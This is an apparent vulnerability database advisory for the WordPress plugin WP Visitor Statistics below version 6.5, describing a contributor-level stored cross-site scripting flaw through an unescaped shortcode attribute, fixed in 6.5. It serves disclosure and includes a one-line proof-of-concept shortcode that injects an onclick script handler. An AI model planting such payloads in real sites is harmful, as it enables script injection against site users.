WordPress Plugin Vulnerabilities

WP Visitor Statistics (Real Time Traffic) < 6.5 - Contributor+ Stored XSS via Shortcode

Description

The plugin does not validate and escape one of its shortcode attributes, which could allow users with a role as low as contributor to perform Stored Cross-Site Scripting attack.

Proof of Concept

Exploit shortcode: [wsm_showDayStatBox id='" onclick="javascript:alert(1)']

Affects Plugins

Fixed in 6.5

References

Classification

Type
XSS
CWE

Miscellaneous

Original Researcher
Lana Codes
Submitter
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Verified
Yes

Timeline

Publicly Published
2023-01-17 (about 1 years ago)
Added
2023-01-17 (about 1 years ago)
Last Updated
2023-01-17 (about 1 years ago)

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